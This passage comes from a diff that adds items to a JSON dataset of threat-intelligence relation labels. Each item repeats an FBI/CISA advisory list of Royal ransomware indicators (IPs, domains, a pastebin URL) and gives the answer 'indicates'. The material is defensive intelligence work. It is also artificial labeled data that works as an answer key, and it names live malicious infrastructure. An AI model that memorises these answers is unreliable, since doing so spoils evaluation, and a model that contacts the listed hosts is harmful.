December 2022\nparkerpublic.com  December 2022\npastebin.mozilla.org/Z54Vudf9/raw  December 2022\ntumbleproperty.com  December 2022\nmyappearinc.com/acquire/draft/c7lh0s5jv  January 2023\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\n61.166.221.46\n### Target Entity: Royal\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\n**Indicators of Compromise (IOCs)**\nSee Tables 1 and 2 for Royal ransomware IOCs obtained by FBI during threat response activities as of January 2023.\n_**Update November 13, 2023**_\nSee Tables 3 and 4 for Royal and Blacksuit Ransomware IOCs as of June 2023. See Table 5 for a list of legitimate software used by Royal and Blacksuit threat actors identified through FBI investigations as of June 2023.\n_**End Update**_\n**Note** : Some of the observed IP addresses are several months old. FBI and CISA recommend vetting or investigating these IP addresses prior to taking forward-looking action, such as blocking.\n_Table 1: Royal Ransomware Associated Files, Hashes, and IP addresses as of January 2023_ **IOC**  **Description**\n------\n**Malicious IP**  **Last Activity**\n**Malicious Domain**  **Last Observed**\n.royal  Encrypted file extension\nREADME.TXT  Ransom note\n102.157.44.105  November 2022\n105.158.118.241  November 2022\n105.69.155.85  November 2022\n113.169.187.159  November 2022\n134.35.9.209  November 2022\n139.195.43.166  November 2022\n139.60.161.213  November 2022\n148.213.109.165  November 2022\n163.182.177.80  November 2022\n181.141.3.126  November 2022\n181.164.194.228  November 2022\n185.143.223.69  November 2022\n186.64.67.6  November 2022\n186.86.212.138  November 2022\n190.193.180.228  November 2022\n196.70.77.11  November 2022\n197.11.134.255  November 2022\n197.158.89.85  November 2022\n197.204.247.7  November 2022\n197.207.181.147  November 2022\n197.207.218.27  November 2022\n197.94.67.207  November 2022\n23.111.114.52  November 2022\n41.100.55.97  November 2022\n41.107.77.67  November 2022\n41.109.11.80  November 2022\n41.251.121.35  November 2022\n41.97.65.51  November 2022\n42.189.12.36  November 2022\n45.227.251.167  November 2022\n5.44.42.20  November 2022\n61.166.221.46  November 2022\n68.83.169.91  November 2022\n81.184.181.215  November 2022\n82.12.196.197  November 2022\n98.143.70.147  November 2022\n140.82.48.158  December 2022\n147.135.36.162  December 2022\n147.135.11.223  December 2022\n152.89.247.50  December 2022\n172.64.80.1  December 2022\n179.43.167.10  December 2022\n185.7.214.218  December 2022\n193.149.176.157  December 2022\n193.235.146.104  December 2022\n209.141.36.116  December 2022\n45.61.136.47  December 2022\n45.8.158.104  December 2022\n5.181.234.58  December 2022\n5.188.86.195  December 2022\n77.73.133.84  December 2022\n89.108.65.136  December 2022\n94.232.41.105  December 2022\n47.87.229.39  January 2023\nsombrat.com  October 2022\ngororama.com  November 2022\nsofteruplive.com  November 2022\naltocloudzone.live  December 2022\nciborkumari.xyz  December 2022\nmyappearinc.com  December 2022\nparkerpublic.com  December 2022\npastebin.mozilla.org/Z54Vudf9/raw  December 2022\ntumbleproperty.com  December 2022\nmyappearinc.com/acquire/draft/c7lh0s5jv  January 2023\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\n68.83.169.91\n### Target Entity: Royal\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\n**Indicators of Compromise (IOCs)**\nSee Tables 1 and 2 for Royal ransomware IOCs obtained by FBI during threat response activities as of January 2023.\n_**Update November 13, 2023**_\nSee Tables 3 and 4 for Royal and Blacksuit Ransomware IOCs as of June 2023. See Table 5 for a list of legitimate software used by Royal and Blacksuit threat actors identified through FBI investigations as of June 2023.\n_**End Update**_\n**Note** : Some of the observed IP addresses are several months old. FBI and CISA recommend vetting or investigating these IP addresses prior to taking forward-looking action, such as blocking.\n_Table 1: Royal Ransomware Associated Files, Hashes, and IP addresses as of January 2023_ **IOC**  **Description**\n------\n**Malicious IP**  **Last Activity**\n**Malicious Domain**  **Last Observed**\n.royal  Encrypted file extension\nREADME.TXT  Ransom note\n102.157.44.105  November 2022\n105.158.118.241  November 2022\n105.69.155.85  November 2022\n113.169.187.159  November 2022\n134.35.9.209  November 2022\n139.195.43.166  November 2022\n139.60.161.213  November 2022\n148.213.109.165  November 2022\n163.182.177.80  November 2022\n181.141.3.126  November 2022\n181.164.194.228  November 2022\n185.143.223.69  November 2022\n186.64.67.6  November 2022\n186.86.212.138  November 2022\n190.193.180.228  November 2022\n196.70.77.11  November 2022\n197.11.134.255  November 2022\n197.158.89.85  November 2022\n197.204.247.7  November 2022\n197.207.181.147  November 2022\n197.207.218.27  November 2022\n197.94.67.207  November 2022\n23.111.114.52  November 2022\n41.100.55.97  November 2022\n41.107.77.67  November 2022\n41.109.11.80  November 2022\n41.251.121.35  November 2022\n41.97.65.51  November 2022\n42.189.12.36  November 2022\n45.227.251.167  November 2022\n5.44.42.20  November 2022\n61.166.221.46  November 2022\n68.83.169.91  November 2022\n81.184.181.215  November 2022\n82.12.196.197  November 2022\n98.143.70.147  November 2022\n140.82.48.158  December 2022\n147.135.36.162  December 2022\n147.135.11.223  December 2022\n152.89.247.50  December 2022\n172.64.80.1  December 2022\n179.43.167.10  December 2022\n185.7.214.218  December 2022\n193.149.176.157  December 2022\n193.235.146.104  December 2022\n209.141.36.116  December 2022\n45.61.136.47  December 2022\n45.8.158.104  December 2022\n5.181.234.58  December 2022\n5.188.86.195  December 2022\n77.73.133.84  December 2022\n89.108.65.136  December 2022\n94.232.41.105  December 2022\n47.87.229.39  January 2023\nsombrat.com  October 2022\ngororama.com  November 2022\nsofteruplive.com  November 2022\naltocloudzone.live  December 2022\nciborkumari.xyz  December 2022\nmyappearinc.com  December 2022\nparkerpublic.com  December 2022\npastebin.mozilla.org/Z54Vudf9/raw  December 2022\ntumbleproperty.com  December 2022\nmyappearinc.com/acquire/draft/c7lh0s5jv  January 2023\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\n81.184.181.215\n### Target Entity: Royal\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\n**Indicators of Compromise (IOCs)**\nSee Tables 1 and 2 for Royal ransomware IOCs obtained by FBI during threat response activities as of January 2023.\n_**Update November 13, 2023**_\nSee Tables 3 and 4 for Royal and Blacksuit Ransomware IOCs as of June 2023. See Table 5 for a list of legitimate software used by Royal and Blacksuit threat actors identified through FBI investigations as of June 2023.\n_**End Update**_\n**Note** : Some of the observed IP addresses are several months old. FBI and CISA recommend vetting or investigating these IP addresses prior to taking forward-looking action, such as blocking.\n_Table 1: Royal Ransomware Associated Files, Hashes, and IP addresses as of January 2023_ **IOC**  **Description**\n------\n**Malicious IP**  **Last Activity**\n**Malicious Domain**  **Last Observed**\n.royal  Encrypted file extension\nREADME.TXT  Ransom note\n102.157.44.105  November 2022\n105.158.118.241  November 2022\n105.69.155.85  November 2022\n113.169.187.159  November 2022\n134.35.9.209  November 2022\n139.195.43.166  November 2022\n139.60.161.213  November 2022\n148.213.109.165  November 2022\n163.182.177.80  November 2022\n181.141.3.126  November 2022\n181.164.194.228  November 2022\n185.143.223.69  November 2022\n186.64.67.6  November 2022\n186.86.212.138  November 2022\n190.193.180.228  November 2022\n196.70.77.11  November 2022\n197.11.134.255  November 2022\n197.158.89.85  November 2022\n197.204.247.7  November 2022\n197.207.181.147  November 2022\n197.207.218.27  November 2022\n197.94.67.207  November 2022\n23.111.114.52  November 2022\n41.100.55.97  November 2022\n41.107.77.67  November 2022\n41.109.11.80  November 2022\n41.251.121.35  November 2022\n41.97.65.51  November 2022\n42.189.12.36  November 2022\n45.227.251.167  November 2022\n5.44.42.20  November 2022\n61.166.221.46  November 2022\n68.83.169.91  November 2022\n81.184.181.215  November 2022\n82.12.196.197  November 2022\n98.143.70.147  November 2022\n140.82.48.158  December 2022\n147.135.36.162  December 2022\n147.135.11.223  December 2022\n152.89.247.50  December 2022\n172.64.80.1  December 2022\n179.43.167.10  December 2022\n185.7.214.218  December 2022\n193.149.176.157  December 2022\n193.235.146.104  December 2022\n209.141.36.116  December 2022\n45.61.136.47  December 2022\n45.8.158.104  December 2022\n5.181.234.58  December 2022\n5.188.86.195  December 2022\n77.73.133.84  December 2022\n89.108.65.136  December 2022\n94.232.41.105  December 2022\n47.87.229.39  January 2023\nsombrat.com  October 2022\ngororama.com  November 2022\nsofteruplive.com  November 2022\naltocloudzone.live  December 2022\nciborkumari.xyz  December 2022\nmyappearinc.com  December 2022\nparkerpublic.com  December 2022\npastebin.mozilla.org/Z54Vudf9/raw  December 2022\ntumbleproperty.com  December 2022\nmyappearinc.com/acquire/draft/c7lh0s5jv  January 2023\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\n82.12.196.197\n### Target Entity: Royal\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\n**Indicators of Compromise (IOCs)**\nSee Tables 1 and 2 for Royal ransomware IOCs obtained by FBI during threat response activities as of January 2023.\n_**Update November 13, 2023**_\nSee Tables 3 and 4 for Royal and Blacksuit Ransomware IOCs as of June 2023. See Table 5 for a list of legitimate software used by Royal and Blacksuit threat actors identified through FBI investigations as of June 2023.\n_**End Update**_\n**Note** : Some of the observed IP addresses are several months old. FBI and CISA recommend vetting or investigating these IP addresses prior to taking forward-looking action, such as blocking.\n_Table 1: Royal Ransomware Associated Files, Hashes, and IP addresses as of January 2023_ **IOC**  **Description**\n------\n**Malicious IP**  **Last Activity**\n**Malicious Domain**  **Last Observed**\n.royal  Encrypted file extension\nREADME.TXT  Ransom note\n102.157.44.105  November 2022\n105.158.118.241  November 2022\n105.69.155.85  November 2022\n113.169.187.159  November 2022\n134.35.9.209  November 2022\n139.195.43.166  November 2022\n139.60.161.213  November 2022\n148.213.109.165  November 2022\n163.182.177.80  November 2022\n181.141.3.126  November 2022\n181.164.194.228  November 2022\n185.143.223.69  November 2022\n186.64.67.6  November 2022\n186.86.212.138  November 2022\n190.193.180.228  November 2022\n196.70.77.11  November 2022\n197.11.134.255  November 2022\n197.158.89.85  November 2022\n197.204.247.7  November 2022\n197.207.181.147  November 2022\n197.207.218.27  November 2022\n197.94.67.207  November 2022\n23.111.114.52  November 2022\n41.100.55.97  November 2022\n41.107.77.67  November 2022\n41.109.11.80  November 2022\n41.251.121.35  November 2022\n41.97.65.51  November 2022\n42.189.12.36  November 2022\n45.227.251.167  November 2022\n5.44.42.20  November 2022\n61.166.221.46  November 2022\n68.83.169.91  November 2022\n81.184.181.215  November 2022\n82.12.196.197  November 2022\n98.143.70.147  November 2022\n140.82.48.158  December 2022\n147.135.36.162  December 2022\n147.135.11.223  December 2022\n152.89.247.50  December 2022\n172.64.80.1  December 2022\n179.43.167.10  December 2022\n185.7.214.218  December 2022\n193.149.176.157  December 2022\n193.235.146.104  December 2022\n209.141.36.116  December 2022\n45.61.136.47  December 2022\n45.8.158.104  December 2022\n5.181.234.58  December 2022\n5.188.86.195  December 2022\n77.73.133.84  December 2022\n89.108.65.136  December 2022\n94.232.41.105  December 2022\n47.87.229.39  January 2023\nsombrat.com  October 2022\ngororama.com  November 2022\nsofteruplive.com  November 2022\naltocloudzone.live  December 2022\nciborkumari.xyz  December 2022\nmyappearinc.com  December 2022\nparkerpublic.com  December 2022\npastebin.mozilla.org/Z54Vudf9/raw  December 2022\ntumbleproperty.com  December 2022\nmyappearinc.com/acquire/draft/c7lh0s5jv  January 2023\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\n98.143.70.147\n### Target Entity: Royal\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\n**Indicators of Compromise (IOCs)**\nSee Tables 1 and 2 for Royal ransomware IOCs obtained by FBI during threat response activities as of January 2023.\n_**Update November 13, 2023**_\nSee Tables 3 and 4 for Royal and Blacksuit Ransomware IOCs as of June 2023. See Table 5 for a list of legitimate software used by Royal and Blacksuit threat actors identified through FBI investigations as of June 2023.\n_**End Update**_\n**Note** : Some of the observed IP addresses are several months old. FBI and CISA recommend vetting or investigating these IP addresses prior to taking forward-looking action, such as blocking.\n_Table 1: Royal Ransomware Associated Files, Hashes, and IP addresses as of January 2023_ **IOC**  **Description**\n------\n**Malicious IP**  **Last Activity**\n**Malicious Domain**  **Last Observed**\n.royal  Encrypted file extension\nREADME.TXT  Ransom note\n102.157.44.105  November 2022\n105.158.118.241  November 2022\n105.69.155.85  November 2022\n113.169.187.159  November 2022\n134.35.9.209  November 2022\n139.195.43.166  November 2022\n139.60.161.213  November 2022\n148.213.109.165  November 2022\n163.182.177.80  November 2022\n181.141.3.126  November 2022\n181.164.194.228  November 2022\n185.143.223.69  November 2022\n186.64.67.6  November 2022\n186.86.212.138  November 2022\n190.193.180.228  November 2022\n196.70.77.11  November 2022\n197.11.134.255  November 2022\n197.158.89.85  November 2022\n197.204.247.7  November 2022\n197.207.181.147  November 2022\n197.207.218.27  November 2022\n197.94.67.207  November 2022\n23.111.114.52  November 2022\n41.100.55.97  November 2022\n41.107.77.67  November 2022\n41.109.11.80  November 2022\n41.251.121.35  November 2022\n41.97.65.51  November 2022\n42.189.12.36  November 2022\n45.227.251.167  November 2022\n5.44.42.20  November 2022\n61.166.221.46  November 2022\n68.83.169.91  November 2022\n81.184.181.215  November 2022\n82.12.196.197  November 2022\n98.143.70.147  November 2022\n140.82.48.158  December 2022\n147.135.36.162  December 2022\n147.135.11.223  December 2022\n152.89.247.50  December 2022\n172.64.80.1  December 2022\n179.43.167.10  December 2022\n185.7.214.218  December 2022\n193.149.176.157  December 2022\n193.235.146.104  December 2022\n209.141.36.116  December 2022\n45.61.136.47  December 2022\n45.8.158.104  December 2022\n5.181.234.58  December 2022\n5.188.86.195  December 2022\n77.73.133.84  December 2022\n89.108.65.136  December 2022\n94.232.41.105  December 2022\n47.87.229.39  January 2023\nsombrat.com  October 2022\ngororama.com  November 2022\nsofteruplive.com  November 2022\naltocloudzone.live  December 2022\nciborkumari.xyz  December 2022\nmyappearinc.com  December 2022\nparkerpublic.com  December 2022\npastebin.mozilla.org/Z54Vudf9/raw  December 2022\ntumbleproperty.com  December 2022\nmyappearinc.com/acquire/draft/c7lh0s5jv  January 2023\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\n140.82.48.158\n### Target Entity: Royal\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\n**Indicators of Compromise (IOCs)**\nSee Tables 1 and 2 for Royal ransomware IOCs obtained by FBI during threat response activities as of January 2023.\n_**Update November 13, 2023**_\nSee Tables 3 and 4 for Royal and Blacksuit Ransomware IOCs as of June 2023. See Table 5 for a list of legitimate software used by Royal and Blacksuit threat actors identified through FBI investigations as of June 2023.\n_**End Update**_\n**Note** : Some of the observed IP addresses are several months old. FBI and CISA recommend vetting or investigating these IP addresses prior to taking forward-looking action, such as blocking.\n_Table 1: Royal Ransomware Associated Files, Hashes, and IP addresses as of January 2023_ **IOC**  **Description**\n------\n**Malicious IP**  **Last Activity**\n**Malicious Domain**  **Last Observed**\n.royal  Encrypted file extension\nREADME.TXT  Ransom note\n102.157.44.105  November 2022\n105.158.118.241  November 2022\n105.69.155.85  November 2022\n113.169.187.159  November 2022\n134.35.9.209  November 2022\n139.195.43.166  November 2022\n139.60.161.213  November 2022\n148.213.109.165  November 2022\n163.182.177.80  November 2022\n181.141.3.126  November 2022\n181.164.194.228  November 2022\n185.143.223.69  November 2022\n186.64.67.6  November 2022\n186.86.212.138  November 2022\n190.193.180.228  November 2022\n196.70.77.11  November 2022\n197.11.134.255  November 2022\n197.158.89.85  November 2022\n197.204.247.7  November 2022\n197.207.181.147  November 2022\n197.207.218.27  November 2022\n197.94.67.207  November 2022\n23.111.114.52  November 2022\n41.100.55.97  November 2022\n41.107.77.67  November 2022\n41.109.11.80  November 2022\n41.251.121.35  November 2022\n41.97.65.51  November 2022\n42.189.12.36  November 2022\n45.227.251.167  November 2022\n5.44.42.20  November 2022\n61.166.221.46  November 2022\n68.83.169.91  November 2022\n81.184.181.215  November 2022\n82.12.196.197  November 2022\n98.143.70.147  November 2022\n140.82.48.158  December 2022\n147.135.36.162  December 2022\n147.135.11.223  December 2022\n152.89.247.50  December 2022\n172.64.80.1  December 2022\n179.43.167.10  December 2022\n185.7.214.218  December 2022\n193.149.176.157  December 2022\n193.235.146.104  December 2022\n209.141.36.116  December 2022\n45.61.136.47  December 2022\n45.8.158.104  December 2022\n5.181.234.58  December 2022\n5.188.86.195  December 2022\n77.73.133.84  December 2022\n89.108.65.136  December 2022\n94.232.41.105  December 2022\n47.87.229.39  January 2023\nsombrat.com  October 2022\ngororama.com  November 2022\nsofteruplive.com  November 2022\naltocloudzone.live  December 2022\nciborkumari.xyz  December 2022\nmyappearinc.com  December 2022\nparkerpublic.com  December 2022\npastebin.mozilla.org/Z54Vudf9/raw  December 2022\ntumbleproperty.com  December 2022\nmyappearinc.com/acquire/draft/c7lh0s5jv  January 2023\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\n147.135.36.162\n### Target Entity: Royal\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\n**Indicators of Compromise (IOCs)**\nSee Tables 1 and 2 for Royal ransomware IOCs obtained by FBI during threat response activities as of January 2023.\n_**Update November 13, 2023**_\nSee Tables 3 and 4 for Royal and Blacksuit Ransomware IOCs as of June 2023. See Table 5 for a list of legitimate software used by Royal and Blacksuit threat actors identified through FBI investigations as of June 2023.\n_**End Update**_\n**Note** : Some of the observed IP addresses are several months old. FBI and CISA recommend vetting or investigating these IP addresses prior to taking forward-looking action, such as blocking.\n_Table 1: Royal Ransomware Associated Files, Hashes, and IP addresses as of January 2023_ **IOC**  **Description**\n------\n**Malicious IP**  **Last Activity**\n**Malicious Domain**  **Last Observed**\n.royal  Encrypted file extension\nREADME.TXT  Ransom note\n102.157.44.105  November 2022\n105.158.118.241  November 2022\n105.69.155.85  November 2022\n113.169.187.159  November 2022\n134.35.9.209  November 2022\n139.195.43.166  November 2022\n139.60.161.213  November 2022\n148.213.109.165  November 2022\n163.182.177.80  November 2022\n181.141.3.126  November 2022\n181.164.194.228  November 2022\n185.143.223.69  November 2022\n186.64.67.6  November 2022\n186.86.212.138  November 2022\n190.193.180.228  November 2022\n196.70.77.11  November 2022\n197.11.134.255  November 2022\n197.158.89.85  November 2022\n197.204.247.7  November 2022\n197.207.181.147  November 2022\n197.207.218.27  November 2022\n197.94.67.207  November 2022\n23.111.114.52  November 2022\n41.100.55.97  November 2022\n41.107.77.67  November 2022\n41.109.11.80  November 2022\n41.251.121.35  November 2022\n41.97.65.51  November 2022\n42.189.12.36  November 2022\n45.227.251.167  November 2022\n5.44.42.20  November 2022\n61.166.221.46  November 2022\n68.83.169.91  November 2022\n81.184.181.215  November 2022\n82.12.196.197  November 2022\n98.143.70.147  November 2022\n140.82.48.158  December 2022\n147.135.36.162  December 2022\n147.135.11.223  December 2022\n152.89.247.50  December 2022\n172.64.80.1  December 2022\n179.43.167.10  December 2022\n185.7.214.218  December 2022\n193.149.176.157  December 2022\n193.235.146.104  December 2022\n209.141.36.116  December 2022\n45.61.136.47  December 2022\n45.8.158.104  December 2022\n5.181.234.58  December 2022\n5.188.86.195  December 2022\n77.73.133.84  December 2022\n89.108.65.136  December 2022\n94.232.41.105  December 2022\n47.87.229.39  January 2023\nsombrat.com  October 2022\ngororama.com  November 2022\nsofteruplive.com  November 2022\naltocloudzone.live  December 2022\nciborkumari.xyz  December 2022\nmyappearinc.com  December 2022\nparkerpublic.com  December 2022\npastebin.mozilla.org/Z54Vudf9/raw  December 2022\ntumbleproperty.com  December 2022\nmyappearinc.com/acquire/draft/c7lh0s5jv  January 2023\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\n147.135.11.223\n### Target Entity: Royal\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\n**Indicators of Compromise (IOCs)**\nSee Tables 1 and 2 for Royal ransomware IOCs obtained by FBI during threat response activities as of January 2023.\n_**Update November 13, 2023**_\nSee Tables 3 and 4 for Royal and Blacksuit Ransomware IOCs as of June 2023. See Table 5 for a list of legitimate software used by Royal and Blacksuit threat actors identified through FBI investigations as of June 2023.\n_**End Update**_\n**Note** : Some of the observed IP addresses are several months old. FBI and CISA recommend vetting or investigating these IP addresses prior to taking forward-looking action, such as blocking.\n_Table 1: Royal Ransomware Associated Files, Hashes, and IP addresses as of January 2023_ **IOC**  **Description**\n------\n**Malicious IP**  **Last Activity**\n**Malicious Domain**  **Last Observed**\n.royal  Encrypted file extension\nREADME.TXT  Ransom note\n102.157.44.105  November 2022\n105.158.118.241  November 2022\n105.69.155.85  November 2022\n113.169.187.159  November 2022\n134.35.9.209  November 2022\n139.195.43.166  November 2022\n139.60.161.213  November 2022\n148.213.109.165  November 2022\n163.182.177.80  November 2022\n181.141.3.126  November 2022\n181.164.194.228  November 2022\n185.143.223.69  November 2022\n186.64.67.6  November 2022\n186.86.212.138  November 2022\n190.193.180.228  November 2022\n196.70.77.11  November 2022\n197.11.134.255  November 2022\n197.158.89.85  November 2022\n197.204.247.7  November 2022\n197.207.181.147  November 2022\n197.207.218.27  November 2022\n197.94.67.207  November 2022\n23.111.114.52  November 2022\n41.100.55.97  November 2022\n41.107.77.67  November 2022\n41.109.11.80  November 2022\n41.251.121.35  November 2022\n41.97.65.51  November 2022\n42.189.12.36  November 2022\n45.227.251.167  November 2022\n5.44.42.20  November 2022\n61.166.221.46  November 2022\n68.83.169.91  November 2022\n81.184.181.215  November 2022\n82.12.196.197  November 2022\n98.143.70.147  November 2022\n140.82.48.158  December 2022\n147.135.36.162  December 2022\n147.135.11.223  December 2022\n152.89.247.50  December 2022\n172.64.80.1  December 2022\n179.43.167.10  December 2022\n185.7.214.218  December 2022\n193.149.176.157  December 2022\n193.235.146.104  December 2022\n209.141.36.116  December 2022\n45.61.136.47  December 2022\n45.8.158.104  December 2022\n5.181.234.58  December 2022\n5.188.86.195  December 2022\n77.73.133.84  December 2022\n89.108.65.136  December 2022\n94.232.41.105  December 2022\n47.87.229.39  January 2023\nsombrat.com  October 2022\ngororama.com  November 2022\nsofteruplive.com  November 2022\naltocloudzone.live  December 2022\nciborkumari.xyz  December 2022\nmyappearinc.com  December 2022\nparkerpublic.com  December 2022\npastebin.mozilla.org/Z54Vudf9/raw  December 2022\ntumbleproperty.com  December 2022\nmyappearinc.com/acquire/draft/c7lh0s5jv  January 2023\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\n152.89.247.50\n### Target Entity: Royal\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\n**Indicators of Compromise (IOCs)**\nSee Tables 1 and 2 for Royal ransomware IOCs obtained by FBI during threat response activities as of January 2023.\n_**Update November 13, 2023**_\nSee Tables 3 and 4 for Royal and Blacksuit Ransomware IOCs as of June 2023. See Table 5 for a list of legitimate software used by Royal and Blacksuit threat actors identified through FBI investigations as of June 2023.\n_**End Update**_\n**Note** : Some of the observed IP addresses are several months old. FBI and CISA recommend vetting or investigating these IP addresses prior to taking forward-looking action, such as blocking.\n_Table 1: Royal Ransomware Associated Files, Hashes, and IP addresses as of January 2023_ **IOC**  **Description**\n------\n**Malicious IP**  **Last Activity**\n**Malicious Domain**  **Last Observed**\n.royal  Encrypted file extension\nREADME.TXT  Ransom note\n102.157.44.105  November 2022\n105.158.118.241  November 2022\n105.69.155.85  November 2022\n113.169.187.159  November 2022\n134.35.9.209  November 2022\n139.195.43.166  November 2022\n139.60.161.213  November 2022\n148.213.109.165  November 2022\n163.182.177.80  November 2022\n181.141.3.126  November 2022\n181.164.194.228  November 2022\n185.143.223.69  November 2022\n186.64.67.6  November 2022\n186.86.212.138  November 2022\n190.193.180.228  November 2022\n196.70.77.11  November 2022\n197.11.134.255  November 2022\n197.158.89.85  November 2022\n197.204.247.7  November 2022\n197.207.181.147  November 2022\n197.207.218.27  November 2022\n197.94.67.207  November 2022\n23.111.114.52  November 2022\n41.100.55.97  November 2022\n41.107.77.67  November 2022\n41.109.11.80  November 2022\n41.251.121.35  November 2022\n41.97.65.51  November 2022\n42.189.12.36  November 2022\n45.227.251.167  November 2022\n5.44.42.20  November 2022\n61.166.221.46  November 2022\n68.83.169.91  November 2022\n81.184.181.215  November 2022\n82.12.196.197  November 2022\n98.143.70.147  November 2022\n140.82.48.158  December 2022\n147.135.36.162  December 2022\n147.135.11.223  December 2022\n152.89.247.50  December 2022\n172.64.80.1  December 2022\n179.43.167.10  December 2022\n185.7.214.218  December 2022\n193.149.176.157  December 2022\n193.235.146.104  December 2022\n209.141.36.116  December 2022\n45.61.136.47  December 2022\n45.8.158.104  December 2022\n5.181.234.58  December 2022\n5.188.86.195  December 2022\n77.73.133.84  December 2022\n89.108.65.136  December 2022\n94.232.41.105  December 2022\n47.87.229.39  January 2023\nsombrat.com  October 2022\ngororama.com  November 2022\nsofteruplive.com  November 2022\naltocloudzone.live  December 2022\nciborkumari.xyz  December 2022\nmyappearinc.com  December 2022\nparkerpublic.com  December 2022\npastebin.mozilla.org/Z54Vudf9/raw  December 2022\ntumbleproperty.com  December 2022\nmyappearinc.com/acquire/draft/c7lh0s5jv  January 2023\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\n179.43.167.10\n### Target Entity: Royal\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\n**Indicators of Compromise (IOCs)**\nSee Tables 1 and 2 for Royal ransomware IOCs obtained by FBI during threat response activities as of January 2023.\n_**Update November 13, 2023**_\nSee Tables 3 and 4 for Royal and Blacksuit Ransomware IOCs as of June 2023. See Table 5 for a list of legitimate software used by Royal and Blacksuit threat actors identified through FBI investigations as of June 2023.\n_**End Update**_\n**Note** : Some of the observed IP addresses are several months old. FBI and CISA recommend vetting or investigating these IP addresses prior to taking forward-looking action, such as blocking.\n_Table 1: Royal Ransomware Associated Files, Hashes, and IP addresses as of January 2023_ **IOC**  **Description**\n------\n**Malicious IP**  **Last Activity**\n**Malicious Domain**  **Last Observed**\n.royal  Encrypted file extension\nREADME.TXT  Ransom note\n102.157.44.105  November 2022\n105.158.118.241  November 2022\n105.69.155.85  November 2022\n113.169.187.159  November 2022\n134.35.9.209  November 2022\n139.195.43.166  November 2022\n139.60.161.213  November 2022\n148.213.109.165  November 2022\n163.182.177.80  November 2022\n181.141.3.126  November 2022\n181.164.194.228  November 2022\n185.143.223.69  November 2022\n186.64.67.6  November 2022\n186.86.212.138  November 2022\n190.193.180.228  November 2022\n196.70.77.11  November 2022\n197.11.134.255  November 2022\n197.158.89.85  November 2022\n197.204.247.7  November 2022\n197.207.181.147  November 2022\n197.207.218.27  November 2022\n197.94.67.207  November 2022\n23.111.114.52  November 2022\n41.100.55.97  November 2022\n41.107.77.67  November 2022\n41.109.11.80  November 2022\n41.251.121.35  November 2022\n41.97.65.51  November 2022\n42.189.12.36  November 2022\n45.227.251.167  November 2022\n5.44.42.20  November 2022\n61.166.221.46  November 2022\n68.83.169.91  November 2022\n81.184.181.215  November 2022\n82.12.196.197  November 2022\n98.143.70.147  November 2022\n140.82.48.158  December 2022\n147.135.36.162  December 2022\n147.135.11.223  December 2022\n152.89.247.50  December 2022\n172.64.80.1  December 2022\n179.43.167.10  December 2022\n185.7.214.218  December 2022\n193.149.176.157  December 2022\n193.235.146.104  December 2022\n209.141.36.116  December 2022\n45.61.136.47  December 2022\n45.8.158.104  December 2022\n5.181.234.58  December 2022\n5.188.86.195  December 2022\n77.73.133.84  December 2022\n89.108.65.136  December 2022\n94.232.41.105  December 2022\n47.87.229.39  January 2023\nsombrat.com  October 2022\ngororama.com  